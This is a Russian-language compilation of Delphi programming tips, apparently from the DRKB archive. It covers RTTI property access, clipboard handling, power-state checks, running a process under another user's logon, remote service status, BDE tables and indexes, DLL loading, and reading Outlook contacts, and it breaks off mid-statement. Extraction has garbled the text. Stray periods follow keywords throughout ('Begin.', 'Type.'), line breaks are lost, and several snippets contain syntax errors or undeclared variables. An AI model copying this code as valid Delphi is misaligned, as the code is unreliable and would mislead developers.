Как получить контекст свойства по его целочисленному значению?

Code: Unit PropertyList; Interface. Uses. Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls, Buttons; Type. TMyStream = class(TFileStream). Private. FFred: integer; Published. Property Fred: integer read FFred write FFred; End; Type. TFrmPropertyList = class(TForm). SpeedButton1: TSpeedButton; ListBox1: TListBox; Procedure SpeedButton1Click(Sender: TObject); Private. { Private declarations }. Public. { Public declarations }. End; Var. FrmPropertyList: TFrmPropertyList; Implementation. {$R *.DFM}. Uses. TypInfo; Procedure ListProperties(AInstance: TPersistent; AList: TStrings); Var. I: integer; PInfo: PTypeInfo; PType: PTypeData; PropList: PPropList; PropCnt: integer; TmpStr: string; Begin. PInfo := AInstance.ClassInfo; If (pInfo = nil) or (pInfo^.Kind <> tkClass) then. Raise Exception.Create('Invalid type information'); PType := GetTypeData(pInfo); {Pointer to TTypeData}. AList.Add('Class name: ' + pInfo^.Name); {If any properties, add them to the list}. PropCnt := pType^.PropCount; If propCnt > 0 then. Begin. AList.Add (EmptyStr); TmpStr := IntToStr(propCnt) + ' Propert'; If propCnt > 1 then. TmpStr := tmpStr + 'ies' Else. TmpStr := tmpStr + 'y'; AList.Add(tmpStr); FillChar(tmpStr[1], Length(tmpStr), '-'); AList.Add(tmpStr); {Get memory for the property list}. GetMem(propList, sizeOf(PPropInfo) * propCnt); Try. {Fill in the property list}. GetPropInfos(pInfo, propList); {Fill in info for each property}. For i := 0 to propCnt - 1 do. AList.Add(propList[i].Name + ': ' + propList[i].PropType^.Name); Finally. FreeMem(propList, sizeOf(PPropInfo) * propCnt); End; End; End; Function GetPropertyList(AControl: TPersistent; AProperty: string): PPropInfo; Var. I: integer; Props: PPropList; TypeData: PTypeData; Begin. Result := nil; If (AControl = nil) or (AControl.ClassInfo = nil) then. Exit; TypeData := GetTypeData(AControl.ClassInfo); If (typeData = nil) or (typeData^.PropCount = 0) then. Exit; GetMem(props, typeData^.PropCount * SizeOf(Pointer)); Try. GetPropInfos(AControl.ClassInfo, props); For i := 0 to typeData^.PropCount - 1 do. Begin. With Props^[i]^ do. If (Name = AProperty) then. Result := Props^[i]; End; Finally. FreeMem(props); End; End; Procedure TFrmPropertyList.SpeedButton1Click(Sender: TObject); Var. C: integer; Begin. ListProperties(self, ListBox1.Items); For c := 0 to ComponentCount - 1 do. Begin. ListBox1.Items.Add(EmptyStr); ListProperties(Components[c], ListBox1.Items); End; End; End.

Tip by Ralph Friedman.

©Drkb::00267.

Взято из http://www.lmc-mediaagentur.de/dpool.

Как изменить значение свойства компонента по имени?

Code: Function GetProperty(AControl: TPersistent; AProperty: String): PPropInfo; Var. I: Integer; Props: PPropList; TypeData: PTypeData; Begin. Result := nil; If (AControl = nil) or (AControl.ClassInfo = nil) then. Exit; TypeData := GetTypeData(AControl.ClassInfo); If (typeData = nil) or (typeData^.PropCount = 0) then. Exit; GetMem(props, typeData^.PropCount * SizeOf(Pointer)); Try. GetPropInfos(AControl.ClassInfo, props); For i := 0 to typeData^.PropCount - 1 do. Begin. With Props^[i]^ do. If (Name = AProperty) then. Result := Props^[i]; End; Finally. FreeMem(props); End; End; Procedure TForm1.Button1Click(Sender: TObject); Var. PropInfo: PPropInfo; Begin. PropInfo := GetProperty(Button1.Font, 'Name'); If PropInfo <> nil then. SetStrProp(Button1.Font, PropInfo, 'Arial'); End;

Как динамически прочитать информацию о классе.

Code: Procedure TForm1.FormCreate(Sender: TObject); Begin. {This only works for classes registered using RegisterClass}. RegisterClasses([TButton, TForm]); End; Procedure TForm1.Button1Click(Sender: TObject); Var. CRef: TPersistentClass; PTI: PTypeInfo; AControl: TControl; Begin. CRef := GetClass('TButton'); If CRef <> nil then. Begin. AControl := TControl(TControlClass(CRef).Create(Self)); With AControl do. Begin. Parent := Self; Width := 50; Height := 30; End; Inc(Id); End. Else. MessageDlg('No such class', mtWarning, [mbOk], 0); End;

Как копировать/менять Clipboard text без использования VCL?

Code: Unit Unit1; Interface. Uses. Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls...; Type. TForm1 = class(TForm). Button1: TButton; Button2: TButton; Function GetClipBoardText: string; Procedure SetClipBoardText(const Value: string); Procedure Open; Procedure SetBuffer(Format: Word; var Buffer; Size: Integer); Procedure Adding; Procedure Clear; Constructor CreateRes(Ident: Integer); Procedure Button1Click(Sender: TObject); Procedure Button2Click(Sender: TObject); Private. FOpenRefCount: Integer; FClipboardWindow: HWND; FAllocated: Boolean; FEmptied: Boolean; FMessage: string; Public. { Public declarations }. End; Var. Form1: TForm1; Resourcestring. SCannotOpenClipboard = 'Cannot open clipboard'; Implementation. {$R *.dfm}. //Create resource for resourceString. Constructor TForm1.CreateRes(Ident: Integer); Begin. FMessage := LoadStr(Ident); End; //Status: Adding. Procedure TForm1.Adding; Begin. If (FOpenRefCount <> 0) and not FEmptied then. Begin. Clear; FEmptied := True; End; End; //Empty clipboard. Procedure TForm1.Clear; Begin. Open; Try. EmptyClipboard; Finally. Close; End; End; //Set buffer. Procedure TForm1.SetBuffer(Format: Word; var Buffer; Size: Integer); Var. Data: THandle; DataPtr: Pointer; Begin. Open; Try. Data := GlobalAlloc(GMEM_MOVEABLE + GMEM_DDESHARE, Size); Try. DataPtr := GlobalLock(Data); Try. Move(Buffer, DataPtr^, Size); Adding; SetClipboardData(Format, Data); Finally. GlobalUnlock(Data); End; Except. GlobalFree(Data); Raise; End; Finally. Close; End; End; //Open the clipboard. Procedure TForm1.Open; Begin. If FOpenRefCount = 0 then. Begin. FClipboardWindow := Application.Handle; If FClipboardWindow = 0 then. Begin. {$IFDEF MSWINDOWS}. FClipboardWindow := Classes.AllocateHWnd(MainWndProc); {$ENDIF}. {$IFDEF LINUX}. FClipboardWindow := WinUtils.AllocateHWnd(MainWndProc); {$ENDIF}. FAllocated := True; End; If not OpenClipboard(FClipboardWindow) then. Raise Exception.CreateRes(@SCannotOpenClipboard); FEmptied := False; End; Inc(FOpenRefCount); End; //Get the clipboard text. Function TForm1.GetClipBoardText: string; Var. Data: THandle; Begin. Open; Data := GetClipboardData(CF_TEXT); Try. If Data <> 0 then. Result := PChar(GlobalLock(Data)). Else. Result := ''; Finally. If Data <> 0 then GlobalUnlock(Data); Close; End; End; Procedure TForm1.SetClipBoardText(const Value: string); Begin. //Set ClipboardText. SetBuffer(CF_TEXT, PChar(Value)^, Length(Value) + 1); End; //Get the clipboard text. Procedure TForm1.Button1Click(Sender: TObject); Begin. ShowMessage(GetClipboardText); End; //Set the clipboard text. Procedure TForm1.Button2Click(Sender: TObject); Begin. SetClipboardText('-> Big-X <-'); End; End.

Поддерживает ли система hibernation?

Code: Function HibernateAllowed: Boolean; Type. TIsPwrHibernateAllowed = function: Boolean; Stdcall; Var. HPowrprof: HMODULE; IsPwrHibernateAllowed: TIsPwrHibernateAllowed; Begin. Result := False; If IsNT4Or95 then Exit; HPowrprof := LoadLibrary('powrprof.dll'); If hPowrprof <> 0 then. Begin. Try. @IsPwrHibernateAllowed := GetProcAddress(hPowrprof, 'IsPwrHibernateAllowed'); If @IsPwrHibernateAllowed <> nil then. Begin. Result := IsPwrHibernateAllowed; End; Finally. FreeLibrary(hPowrprof); End; End; End;

©Drkb::01702.

Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php.

Как прочитать весь список Published методов?

Code: Procedure EnumMethods( aClass: TClass; lines: TStrings ); Type. TMethodtableEntry = packed Record. Len: Word; Adr: Pointer; Name: ShortString; End; {Note: name occupies only the size required, so it is not a true shortstring! The actual. Entry size is variable, so the method table is not an array of TMethodTableEntry!}. Var. Pp: ^Pointer; PMethodTable: Pointer; PMethodEntry: ^TMethodTableEntry; I, numEntries: Word; Begin. If aClass = nil then. Exit; Pp := Pointer(Integer( aClass ) + vmtMethodtable); PMethodTable := pp^; Lines.Add(format('Class %s: method table at %p', [aClass.Classname, pMethodTable ] )); If pMethodtable <> nil then. Begin. {first word of the method table contains the number of entries}. NumEntries := PWord( pMethodTable )^; Lines.Add(format(' %d published methods', [numEntries] )); {make pointer to first method entry, it starts at the second word of the table}. PMethodEntry := Pointer(Integer( pMethodTable ) + 2); For i := 1 to numEntries do. Begin. With pMethodEntry^ do. Lines.Add(format( ' %d: len: %d, adr: %p, name: %s', [i, len, adr, name] )); {make pointer to next method entry}. PMethodEntry := Pointer(Integer( pMethodEntry ) + pMethodEntry^.len); End; End; EnumMethods( aClass.ClassParent, lines ); End; Procedure TForm2.Button1Click(Sender: TObject); Begin. Memo1.clear; EnumMethods( Classtype, memo1.lines ); End;

Поддерживает ли система suspend?

Code: Function SuspendAllowed: Boolean; Type. TIsPwrSuspendAllowed = function: Boolean; Stdcall; Var. HPowrprof: HMODULE; IsPwrSuspendAllowed: TIsPwrSuspendAllowed; Begin. Result := False; HPowrprof := LoadLibrary('powrprof.dll'); If hPowrprof <> 0 then. Begin. Try. @IsPwrSuspendAllowed := GetProcAddress(hPowrprof, 'IsPwrSuspendAllowed'); If @IsPwrSuspendAllowed <> nil then. Begin. Result := IsPwrSuspendAllowed; End; Finally. FreeLibrary(hPowrprof); End; End; End;

©Drkb::01705.

Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php.

Запуск процесса в контексте другого пользователя.

Code: Uses. JwaWinBase; ( http://members.chello.nl/m.vanbrakel2/ ). //... Procedure TForm1.Button1Click(Sender: TObject); Var. Si: STARTUPINFOW; Pif: PROCESS_INFORMATION; Res: Bool; S: string; Begin. //set StartUpInfoW first. Si.cb := SizeOf(startupinfow); Si.dwFlags := STARTF_USESHOWWINDOW; Si.wShowWindow := SW_SHOWDEFAULT; Si.lpReserved := nil; Si.lpDesktop := nil; Si.lpTitle := 'Konsole'; // run CreateProcessWithLogonW... Res := CreateProcessWithLogonW('Security', 'ArViCor', 'test', LOGON_WITH_PROFILE, 'c:\win2kas\system32\regedt32.exe', nil. , CREATE_DEFAULT_ERROR_MODE, nil, nil, si, pif); If booltostr(res) = '0' then. Begin. //if an error occures, show the error-code. //this code can be 'translated' with 'net helpmsg ' on command-prompt. Str(GetLastError, s); ShowMessage('CreateProcessWithLogonResult: ' + booltostr(res) + #10 + 'GetLastError: ' + s); End; End;

Как выяснить имеет ли объект определённое свойство?

Code: Function hasprop(comp: TComponent; const prop: String): Boolean; Var. Proplist: PPropList; Numprops, i: Integer; Begin. Result := false; Getmem(proplist, getTypeData(comp.classinfo)^.propcount * Sizeof(Pointer)); Try. NumProps := getproplist(comp.classInfo, tkProperties, proplist); For i := 0 to pred (NumProps) do. Begin. If comparetext(proplist[i]^.Name, prop) = 0 then. Begin. Result := true; Break; End; End; Finally. Freemem(proplist, getTypeData(comp.classinfo)^.propcount * Sizeof(Pointer)); End; End; Procedure setcomppropstring(comp: TComponent; const prop, s: String); Var. Proplist: PPropList; Numprops, i: Integer; Begin. Getmem(proplist, getTypeData(comp.classinfo)^.propcount * Sizeof(Pointer)); Try. NumProps := getproplist(comp.classInfo, tkProperties, proplist); For i := 0 to pred (NumProps) do. Begin. If (comparetext(proplist[i]^.Name, prop) = 0) and. (comparetext(proplist[i]^.proptype^.name, 'string') = 0 then. Begin. SetStrProp(comp, proplist[i], s); Break; End; End; Finally. Freemem(proplist, getTypeData(comp.classinfo)^.propcount * Sizeof(Pointer)); End; End;

Как определить, является ли метод потомком TNotifyEvent?

If I am given a TPersistent object, and a method name, is there a way to determine if the name is an event of TNotifyEvent type? For example, given a TPersistent lMyObj and an event name, "OnDataChanged", how can I determine if OnDataChanged is a TNotifyEvent?

Code: Function IsNotifyEvent(Sender: TObject; const Event: string): Boolean; Var. PropInfo: PPropInfo; Method: TNotifyEvent; Begin. Result := False; PropInfo := GetPropInfo(Sender.ClassInfo, Event); If not Assigned(PropInfo) then. Exit; If PropInfo.PropType^.Kind <> tkMethod then. Exit; Method := TNotifyEvent(GetMethodProp(Sender, PropInfo)); Result := Assigned(Method); End;

Транзакции.

Подобно своим аналогам в BDE и ADO компонент TSQLConnection поддерживает механизм транзакций и делает это сходным образом.

Начало, фиксацию и откат транзакции выполняют методы.

Code: Procedure StartTransaction(TransDesc: TTransactionDesc); Procedure Commit(TransDesc: TTransactionDesc); Procedure Rollback(TransDesc: TTransactionDesc);

Как работать с выделенными запясями в TDBGrid?

Code: { In the "Object Inspector" set your DBGrid's Option for dgMultiSelect = True. The Grid_Edit function calls for each selected DBGrid-Row a data-processing. Function. Return value is the number of processed rows. } Function TForm1.Grid_Edit(dbgIn: TDBGrid; qryIn: TQuery): Longint; // declared in the private section. Begin. Result := 0; With dbgIn.DataSource.DataSet do. Begin. First; DisableControls; Try. While not EOF do. Begin. If (dbgIn.SelectedRows.CurrentRowSelected = True) then. Begin. { +++ Call here the data-processing function +++ } Inc(Result); End; Next; End; Finally. EnableControls; End; End; End; Procedure TForm1.Button1Click(Sender: TObject); Begin. Form1.Caption := 'Processed: ' + IntToStr(Grid_Edit(DBGrid1, Query1)); End;

AVI файл проигрывается снова и снова.

В примере AVI файл проигрывается снова и снова - используем событие МеdiаРlауеr'а Notify.

Code: Procedure TForm1.MediaPlayer1Notify(Sender: TObject); Begin with MediaPlayer1 do. If NotifyValue = nvSuccessful then. Begin. Notify := True; Play; End; End;

Взято с сайта http://blackman.wp-club.net/myfaq/default.php

©Drkb::01313.

Как получить содержимое поля[1,1] DBGrid?

DBGrid.SelectedRow.Fields[1].Value.

©Drkb::03031.

Взято с сайта http://blackman.wp-club.net/

Индекс БД в другом каталоге.

Подскажите как работать c dbf под Delphi 5 , когда индексы расположены в другом каталоге?

Serg.

(10.01.01 19:54) можно сделать следующее:

Code: Vnhead_Cdx := TStringList.Create; Vnhead_Cdx.Add('c:\parus\bumi1\idx\vnhead.cdx'); Vnhead.IndexFiles := Vnhead_Cdx;

Быстрое копирование таблиц.

Из книги Стива Тейксейра и Пачеко 'Delphi 4. Руководство разработчика'

Я взял функцию для быстрого копирования.

Таблиц вместе со всеми дополнительными файлами:

Вот она:

Code: Procedure QuickCopyTable(T: TTable;DestTblName:string;Overwrite: boolean); // только для не SQL-ых, т.е не промышленных БД (dBase, Paradox ..). Var DBType: DBIName; WasOpen:boolean; NumCopied:word; Begin. WasOpen:=T.Active; If not WasOpen then T.Open; Check(DbiGetProp(hDBIObj(T.Handle),drvDRIVERTYPE,@DBType,SizeOf(DBINAME), NumCopied)); Check(DbiCopyTable(T.DBHandle, Overwrite, PChar(T.TableName),DBType, PChar(DestTblName))); T.Active:=WasOpen; End;

Как узнать букву CD-ROM?

Code: Var DriveType: UInt; DriveType := GetDriveType(PChar('F:\')); If DriveType = DRIVE_CDROM then ShowMessage('Сидюк');

Как настроить табуляцию в компоненте TMemo?

Пошлите в Memo сообщение EM_SETTABSTOPS.

©Drkb::00552.

Взято с сайта http://blackman.wp-club.net/

Code: Procedure TForm1.FormCreate(Sender: TObject); Var. DialogUnitsX: LongInt; PixelsX: LongInt; I: integer; TabArray: array[0..4] of integer; Begin. Memo1.WantTabs := true; DialogUnitsX := LoWord(GetDialogBaseUnits); PixelsX := 20; For i := 1 to 5 do. Begin. TabArray[i - 1] := ((PixelsX * i) * 4) div DialogUnitsX; End; SendMessage(Memo1.Handle, EM_SETTABSTOPS, 5, LongInt(@TabArray)); Memo1.Refresh; End;

Как использовать свои курсоры?

Code: {$R CURSORS.RES}. Const. CrZoomIn = 1; CrZoomOut = 2; Screen.Cursors[crZoomIn] := LoadCursor(hInstance, 'CURSOR_ZOOMIN'); Screen.Cursors[crZoomOut] := LoadCursor(hInstance, 'CURSOR_ZOOMOUT');

Функция набора номера модемом.

Code: Var. HCommFile : THandle; Procedure TForm1.Button1Click(Sender: TObject); Var. PhoneNumber : string; CommPort : string; NumberWritten : LongInt; Begin. PhoneNumber := 'ATDT 1-555-555-1212' + #13 + #10; CommPort := 'COM2'; {Open the comm port}. HCommFile := CreateFile(PChar(CommPort), GENERIC_WRITE, 0, Nil, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0); If hCommFile=INVALID_HANDLE_VALUE then. Begin. ShowMessage('Unable to open '+ CommPort); Exit; End; NumberWritten:=0; If WriteFile(hCommFile, PChar(PhoneNumber)^, Length(PhoneNumber), NumberWritten, Nil) = false then. Begin. ShowMessage('Unable to write to ' + CommPort); End; End; Procedure TForm1.Button2Click(Sender: TObject); Begin. {Close the port}. CloseHandle(hCommFile); End;

©Drkb::01464.

Взято с сайта http://blackman.wp-club.net/

Как управлять сервисом на другом компьютере в W2K?

Требуется написать управление сервисом, запущеном на другом компьютере. С помошью чего это лучеше сделать?

Code: Uses. Windows, Messages, SysUtils, StdCtrls, SvcMgr; Var. SsStatus: TServiceStatus; SchSCManager, SchService: SC_HANDLE; Begin. SchSCManager := OpenSCManager(PChar('Comp1'), //имя компьютера, nil - local machine. Nil, // ServicesActive database. SC_MANAGER_ALL_ACCESS); // full access rights. If schSCManager = 0 then exit; //Ошибка? SchService := OpenService( SchSCManager, // SCM database. PChar('SQLServerAgent'), // посмотри имя в Services. В данном случае - MS Server Agent. SERVICE_ALL_ACCESS); If schService = 0 then exit; //Ошибка? If not QueryServiceStatus( SchService, // handle to service. SsStatus) then // address of status information structure. Exit; //Ошибка? Case ssStatus.dwCurrentState of. : SERVICE_RUNNING: ShowMessage('Работает!'); SERVICE_STOPPED: ShowMessage('Выключен'); // ну и т.д. End; End;

Как восстановить индексы?

Code: Procedure TForm1.Button1Click(Sender: TObject); Begin. Table.Close; Table.Exclusive := True; Table.Open; DbiRegenIndexes(Table.Handle); Table.Close; End;

Создание индексного файла из Delphi.

Если вы используете таблицы dBASE или Paradox, то для создания нового индекса.

Воспользуйтесь методом AddIndex. Для примера:

Table1.AddIndex('Articles','Title', []) ;

Создаст индексный файл с именем ARTICLES с использованием поля TITLE в качестве индексного ключа.

При создании вы можете воспользоваться различными индексными опциями.

(например, уникальность, необслуживаемый и пр.).

-- для получения дополнительной информации обратитесь к.

Электронной справке по Delphi.

ПРИМЕЧАНИЕ: Ваша таблица должна быть открыта исключительно для того,

Чтобы только воспользоваться методом AddIndex.

Поддержка/обновление индексного файла,

Если только при создании вы не выставили флаг "необслуживаемый".

(Maintenance-free), происходит автоматически.

©Drkb::02551.

Взято с сайта http://blackman.wp-club.net/

Загрузка DLL.

Предлагаю вашему вниманию очередной выпуск рассылки, в котором я продолжаю обсуждать.

Вопросы разработки и использования DLL в Borland Delphi. Для новых подписчиков сообщаю,

Что первую часть статьи они могут посмотреть в архиве рассылки, выпуск номер 13.

Прошу прощения у тех, кто писал мне, но не получил ответа. В ближайшее время постараюсь это исправить.

Итак, продолжим.

Загрузка DLL.

Прежде чем начать использование какой-либо процедуры или функции, находящейся в динамической библиотеке,

Вам необходимо загрузить DLL в оперативную память. Загрузка библиотеки может быть осуществлена.

Одним из двух способов: статическая загрузка и динамическая загрузка.

Оба метода имеют как преимущества, так и недостатки.

Статическая загрузка означает, что динамическая библиотека загружается автоматически.

При запуске на выполнение использующего ее приложения. Для того чтобы использовать такой способ загрузки,

Вам необходимо воспользоваться ключевым словом external при описании экспортируемой из.

Динамической библиотеки функции или процедуры. DLL автоматически загружается при старте программы,

И Вы сможете использовать любые экспортируемые из нее подпрограммы точно так же,

Как если бы они были описаны внутри модулей приложения.

Это наиболее легкий способ использования кода, помещенного в DLL .

Недостаток метода заключается в том, что если файл библиотеки, на который.

Имеется ссылка в приложении, отсутствует, программа откажется загружаться.

Смысл динамического метода заключается в том, что вы загружаете библиотеку не при старте приложения,

А в тот момент, когда вам это действительно необходимо. Сами посудите, ведь если функция, описанная.

В динамической библиотеке, используется только при 10% запусков программы, то совершенно нет.

Смысла использовать статический метод загрузки. Выгрузка библиотеки из памяти в данном случае.

Также осуществляется под вашим контролем. Еще одно преимущества такого способа.

Загрузки DLL - это уменьшение (по понятным причинам) времени старта вашего приложения.

А какие же у этого способа имеются недостатки? Основной, как мне кажется, - это то, что использование.

Данного метода является более хлопотным, чем рассмотренная выше статическая загрузка.

Сначала вам необходимо воспользоваться функцией Windows API LoadLibrary .

Для получения указателя на экспортируемой процедуры или функции должна.

Использоваться функция GetProcAddress. После завершения использования библиотеки DLL.

Должна быть выгружена с применением FreeLibrary.

Вызов процедур и функций, загруженных из DLL.

Способ вызова процедур и функций зависит от того, каким образом вы загрузили динамическую библиотеку,

В которой эти подпрограммы находятся.

Вызов функций и процедур из статически загруженных DLL достаточно прост. Первоначально в приложении.

Должно содержаться описание экспортируемой функции (процедуры). После этого вы можете их использовать.

Точно так же, как если бы они были описаны в одном из модулей вашего приложения.

Для импорта функции или процедуры, содержащейся в DLL , необходимо использовать.

Модификатор external в их объявлении. К примеру, для рассмотренной нами выше процедуры HelloWorld.

В вызывающем приложении должна быть помещена следующая строка:

Procedure SayHello(AForm : TForm); external myfirstdll.dll';

Ключевое слово external сообщает компилятору, что данная процедура может быть найдена в.

Динамической библиотеке (в нашем случае - myfirstdll.dll).

Далее вызов этой процедуры выглядит следующим образом:

...

HelloWorld(self);

...

При импорте функции и процедур будьте особенно внимательны при написании их имен и интерфейсов!

Дело в том, что в процессе компиляции приложения не производится проверки на правильность имен объектов,

Экспортируемых из DLL, осуществляться не будет, и если вы неправильно описали какую-нибудь функцию,

То исключение будет сгенерировано только на этапе выполнения приложения.

Импорт из DLL может проводиться по имени процедуры (функции), порядковому номеру или.

С присвоением другого имени.

В первом случае вы просто объявляете имя процедуры и библиотеку, из которой ее импортируете.

(мы это рассмотрели чуть выше). Импорт по порядковому номеру требует от вас указание этого самого номера:

Procedure HelloWorld(AForm : TForm); external myfirstdll.dll index 15;

В этом случае имя, которое вы даете процедуре при импорте не обязательно должно совпадать с тем,

Которое было указано для нее в самой DLL. Т.е. приведенная выше запись означает,

Что вы импортируете из динамической библиотеки myfirstdll.dll процедуру, которая в ней экспортировалась.

Пятнадцатой, и при этом в рамках вашего приложения этой процедуре дается имя SayHello.

Если вы по каким-то причинам не применяете описанный выше способ импорта,

Но тем не менее хотите изменить имя импортируемой функции (процедуры), то можно воспользоваться третьим методом:

Procedure CoolProcedure; external myfirstdll.dll name 'DoSomethingReallyCool';

Здесь импортируемой процедуре CoolProcedure дается имя DoSomethingReallyCool.

Вызов процедур и функций, импортируемых из динамически загружаемых библиотек.

Несколько более сложен, чем рассмотренный нами выше способ. В данном случае требуется объявить.

Указатель на функцию или процедуру, которую вы собираетесь использовать.

Помните процедуру HelloWorld? Давайте посмотрим, что необходимо сделать для того,

Чтобы вызвать ее на выполнение в случае динамической загрузки DLL. Во-первых, вам.

Необходимо объявить тип, который описывал бы эту процедуру:

Type.

THelloWorld = procedure(AForm : TForm);

Теперь вы должны загрузить динамическую библиотеку, с помощью GetProcAddress получить.

Указатель на процедуру, вызвать эту процедуру на выполнение, и, наконец, выгрузить DLL из памяти.

Ниже приведен код, демонстрирующий, как это можно сделать:

Code: Var. DLLInstance : THandle; HelloWorld : THelloWorld; Begin. { загружаем DLL }. DLLInstance := LoadLibrary('myfirstdll.dll'); { получаем указатель }. @HelloWorld := GetProcAddress(DLLInstance, 'HelloWorld'); { вызываем процедуру на выполнение }. HelloWorld(Self); { выгружаем DLL из оперативной памяти }. FreeLibrary(DLLInstance); End;

Как вывести окно свойств компьютера?

Code: ShellExecute(Application.Handle, 'open', 'sysdm.cpl', nil, nil,sw_ShowNormal);

Как прочитать адресную книгу Outlook (MSOffice) из Delphi и занести данные в таблицу *.db?

Сперва сделай 'Import type Library' для Outlk80.olb, (расположен в \Program Files\Microsoft Office\Office).

После того, как появится файл 'Outlook_TLB.pas', можно нацарапать следующее:

Code: Uses ComObj, Outlook_TLB;procedure TForm1.Button1Click(Sender: TObject);var MSOutlook, MyNameSpace, MyFolder, MyItem: Variant; s: string; i: Integer;begin try MSOutlook := CreateOleObject('Outlook.Application'); MyNameSpace := MSOutlook.GetNameSpace('MAPI'); MyFolder := MyNamespace.GetDefaultFolder(olFolderContacts); For i := 1 to MyFolder.Items.Count do. Begin. S := s + #13#13'Contact No: ' + IntToStr(i) + #13#13; MyItem := MyFolder.Items[i]; S := s + 'BillingInformation: ' + MyItem.BillingInformation + #13; S := s + 'Body: ' + MyItem.Body + #13; s := s + 'Categories: ' + MyItem.Categories + #13; S := s + 'Companies: ' + MyItem.Companies + #13; s := s + 'CreationTime: ' + DateTimeToStr(MyItem.CreationTime) + #13; S := s + 'EntryID: ' + MyItem.EntryID + #13; s := s + 'Importance: ' + IntToStr(MyItem.Importance) + #13; S := s + 'LastModificationTime: ' + DateTimeToStr(MyItem.LastModificationTime) + #13; S := s + 'MessageClass: ' + MyItem.MessageClass + #13; s := s + 'Mileage: ' + MyItem.Mileage + #13; S := s + 'NoAging: ' + IntToStr(MyItem.NoAging) + #13; s := s + 'OutlookVersion: ' + MyItem.OutlookVersion + #13; S := s + 'Saved: ' + IntToStr(MyItem.Saved) + #13; s := s + 'Sensitivity: ' + IntToStr(MyItem.Sensitivity) + #13; S := s + 'Size: ' + IntToStr(MyItem.Size) + #13; s := s + 'Subject: ' + MyItem.Subject + #13; S := s + 'UnRead: ' + IntToStr(MyItem.UnRead) + #13; s := s + 'Account: ' + MyItem.Account + #13; S := s + 'Anniversary: ' + DateTimeToStr(MyItem.Anniversary) + #13; S := s + 'AssistantName: ' + MyItem.AssistantName + #13; S := s + 'AssistantTelephoneNumber: ' + MyItem.AssistantTelephoneNumber + #13; S := s + 'Birthday: ' + DateTimeToStr(MyItem.Birthday) + #13; S := s + 'Business2TelephoneNumber: ' + MyItem.Business2TelephoneNumber + #13; S := s + 'BusinessAddress: ' + MyItem.BusinessAddress + #13; S := s + 'BusinessAddressCity: ' + MyItem.BusinessAddressCity + #13; S := s + 'BusinessAddressCountry: ' + MyItem.BusinessAddressCountry + #13; S := s + 'BusinessAddressPostalCode: ' + MyItem.BusinessAddressPostalCode + #13; S := s + 'BusinessAddressPostOfficeBox: ' + MyItem.BusinessAddressPostOfficeBox + #13; S := s + 'BusinessAddressState: ' + MyItem.BusinessAddressState + #13; S := s + 'BusinessAddressStreet: ' + MyItem.BusinessAddressStreet + #13; S := s + 'BusinessFaxNumber: ' + MyItem.BusinessFaxNumber + #13; S := s + 'BusinessHomePage: ' + MyItem.BusinessHomePage + #13; S := s + 'BusinessTelephoneNumber: ' + MyItem.BusinessTelephoneNumber + #13; S := s + 'CallbackTelephoneNumber: ' + MyItem.CallbackTelephoneNumber + #13; S := s + 'CarTelephoneNumber: ' + MyItem.CarTelephoneNumber + #13; S := s + 'Children: ' + MyItem.Children + #13; S := s + 'CompanyAndFullName: ' + MyItem.CompanyAndFullName + #13; S := s + 'CompanyMainTelephoneNumber: ' + MyItem.CompanyMainTelephoneNumber + #13; S := s + 'CompanyName: ' + MyItem.CompanyName + #13; S := s + 'ComputerNetworkName: ' + MyItem.ComputerNetworkName + #13; S := s + 'CustomerID: ' + MyItem.CustomerID + #13; S := s + 'Department: ' + MyItem.Department + #13; S := s + 'Email1Address: ' + MyItem.Email1Address + #13; S := s + 'Email1AddressType: ' + MyItem.Email1AddressType + #13; S := s + 'Email1DisplayName: ' + MyItem.Email1DisplayName + #13; S := s + 'Email1EntryID: ' + MyItem.Email1EntryID + #13; S := s + 'Email2Address: ' + MyItem.Email2Address + #13; S := s + 'Email2AddressType: ' + MyItem.Email2AddressType + #13; S := s + 'Email2DisplayName: ' + MyItem.Email2DisplayName + #13; S := s + 'Email2EntryID: ' + MyItem.Email2EntryID + #13; S := s + 'Email3Address: ' + MyItem.Email3Address + #13; S := s + 'Email3AddressType: ' + MyItem.Email3AddressType + #13; S := s + 'Email3DisplayName: ' + MyItem.Email3DisplayName + #13; S := s + 'Email3EntryID: ' + MyItem.Email3EntryID + #13; S := s + 'FileAs: ' + MyItem.FileAs + #13; S := s + 'FirstName: ' + MyItem.FirstName + #13; S := s + 'FTPSite: ' + MyItem.FTPSite + #13; S := s + 'FullName: ' + MyItem.FullName + #13; S := s + 'FullNameAndCompany: ' + MyItem.FullNameAndCompany + #13; S := s + 'Gender: ' + IntToStr(MyItem.Gender) + #13; S := s + 'GovernmentIDNumber: ' + MyItem.GovernmentIDNumber + #13; S := s + 'Hobby: ' + MyItem.Hobby + #13; S := s + 'Home2TelephoneNumber: ' + MyItem.Home2TelephoneNumber + #13; S := s + 'HomeAddress: ' + MyItem.HomeAddress + #13; S := s + 'HomeAddressCity: ' + MyItem.HomeAddressCity + #13; S := s + 'HomeAddressCountry: ' + MyItem.HomeAddressCountry + #13; S := s + 'HomeAddressPostalCode: ' + MyItem.HomeAddressPostalCode + #13; S := s + 'HomeAddressPostOfficeBox: ' + MyItem.HomeAddressPostOfficeBox + #13; S := s + 'HomeAddressState: ' + MyItem.HomeAddressState + #13; S := s + 'HomeAddressStreet: ' + MyItem.HomeAddressStreet + #13; S := s + 'HomeFaxNumber: ' + MyItem.HomeFaxNumber + #13; S := s + 'HomeTelephoneNumber: ' + MyItem.HomeTelephoneNumber + #13; S := s + 'Initials: ' + MyItem.Initials + #13; S := s + 'ISDNNumber: ' + MyItem.ISDNNumber + #13; S := s + 'JobTitle: ' + MyItem.JobTitle + #13; S := s + 'Journal: ' + IntToStr(MyItem.Journal) + #13; S := s + 'Language: ' + MyItem.Language + #13; S := s + 'LastName: ' + MyItem.LastName + #13; S := s + 'LastNameAndFirstName: ' + MyItem.LastNameAndFirstName + #13; S := s + 'MailingAddress: ' + MyItem.MailingAddress + #13; S := s + 'MailingAddressCity: ' + MyItem.MailingAddressCity + #13; S := s + 'MailingAddressCountry: ' + MyItem.MailingAddressCountry + #13; S := s + 'MailingAddressPostalCode: ' + MyItem.MailingAddressPostalCode + #13; S := s + 'MailingAddressPostOfficeBox: ' + MyItem.MailingAddressPostOfficeBox + #13; S := s + 'MailingAddressState: ' + MyItem.MailingAddressState + #13; S := s + 